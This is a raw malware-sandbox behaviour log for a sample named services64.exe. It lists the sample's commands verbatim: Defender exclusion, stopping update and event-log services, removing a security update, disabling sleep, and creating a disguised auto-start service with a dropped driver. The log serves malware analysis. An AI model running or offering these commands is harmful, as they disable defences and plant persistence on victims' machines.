    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "WindowsAutHost"
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "WindowsAutHost"
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: unknownProcess created: C:\ProgramData\WindowsServices\WindowsAutHost C:\ProgramData\WindowsServices\WindowsAutHost
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exeJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "WindowsAutHost"Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "WindowsAutHost"Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exeJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exeJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: unknown unknownJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
    Source: C:\Users\user\Desktop\services64.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
    Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
    Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Windows\System32\dialer.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
    Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
    Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\dialer.exeSection loaded: ntmarta.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
    Source: services64.exeStatic PE information: Image base 0x140000000 > 0x60000000
    Source: services64.exeStatic file information: File size 17878016 > 1048576
    Source: services64.exeStatic PE information: Raw size of ."8l is bigger than: 0x100000 < 0x110bc00
    Source: services64.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WindowsAutHost, 00000025.00000003.1882707628.0000016F8FAF0000.00000004.00000001.00020000.00000000.sdmp, ybmcltmshprh.sys.37.dr
    Source: initial sampleStatic PE information: section where entry point is pointing to: ."8l
    Source: services64.exeStatic PE information: section name: .00cfg
    Source: services64.exeStatic PE information: section name: .:ja
    Source: services64.exeStatic PE information: section name: .J4v
    Source: services64.exeStatic PE information: section name: ."8l
    Source: WindowsAutHost.0.drStatic PE information: section name: .00cfg
    Source: WindowsAutHost.0.drStatic PE information: section name: .:ja
    Source: WindowsAutHost.0.drStatic PE information: section name: .J4v
    Source: WindowsAutHost.0.drStatic PE information: section name: ."8l
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC62ACDD push rcx; retf 003Fh30_2_00000225DC62ACDE
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC65C6DD push rcx; retf 003Fh30_2_00000225DC65C6DE
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC68ACDD push rcx; retf 003Fh30_2_00000225DC68ACDE
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6BC6DD push rcx; retf 003Fh30_2_00000225DC6BC6DE
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0ACACDD push rcx; retf 003Fh31_2_00000202C0ACACDE
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AFC6DD push rcx; retf 003Fh31_2_00000202C0AFC6DE
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B5C6DD push rcx; retf 003Fh31_2_00000202C0B5C6DE
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1A5ACDD push rcx; retf 003Fh33_2_000001BCD1A5ACDE
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C6C6DD push rcx; retf 003Fh33_2_000001BCD1C6C6DE
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC52ACDD push rcx; retf 003Fh35_2_000001AFBC52ACDE
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC55C6DD push rcx; retf 003Fh35_2_000001AFBC55C6DE
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A6612EACDD push rcx; retf 003Fh36_2_000002A6612EACDE
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A66131C6DD push rcx; retf 003Fh36_2_000002A66131C6DE
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDBACDD push rcx; retf 003Fh38_2_000002BAAEDBACDE
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDEC6DD push rcx; retf 003Fh38_2_000002BAAEDEC6DE
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEE1ACDD push rcx; retf 003Fh38_2_000002BAAEE1ACDE
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879AACDD push rcx; retf 003Fh42_2_0000026A879AACDE
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_000001795378ACDD push rcx; retf 003Fh43_2_000001795378ACDE
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537BC6DD push rcx; retf 003Fh43_2_00000179537BC6DE
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D54ACDD push rcx; retf 003Fh44_2_000002295D54ACDE
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D57C6DD push rcx; retf 003Fh44_2_000002295D57C6DE
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_00000253067EACDD push rcx; retf 003Fh45_2_00000253067EACDE
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E7C6DD push rcx; retf 003Fh45_2_0000025306E7C6DE
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306EDC6DD push rcx; retf 003Fh45_2_0000025306EDC6DE
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B95C6DD push rcx; retf 003Fh53_2_000001845B95C6DE

    Persistence and Installation Behavior

    barindex
    Installs new ROOT certificates
    Source: C:\Windows\System32\lsass.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
    Source: C:\Windows\System32\lsass.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
    Sample is not signed and drops a device driver
    Source: C:\ProgramData\WindowsServices\WindowsAutHostFile created: C:\Windows\TEMP\ybmcltmshprh.sysJump to behavior
    Source: C:\Users\user\Desktop\services64.exeFile created: C:\ProgramData\WindowsServices\WindowsAutHostJump to dropped file
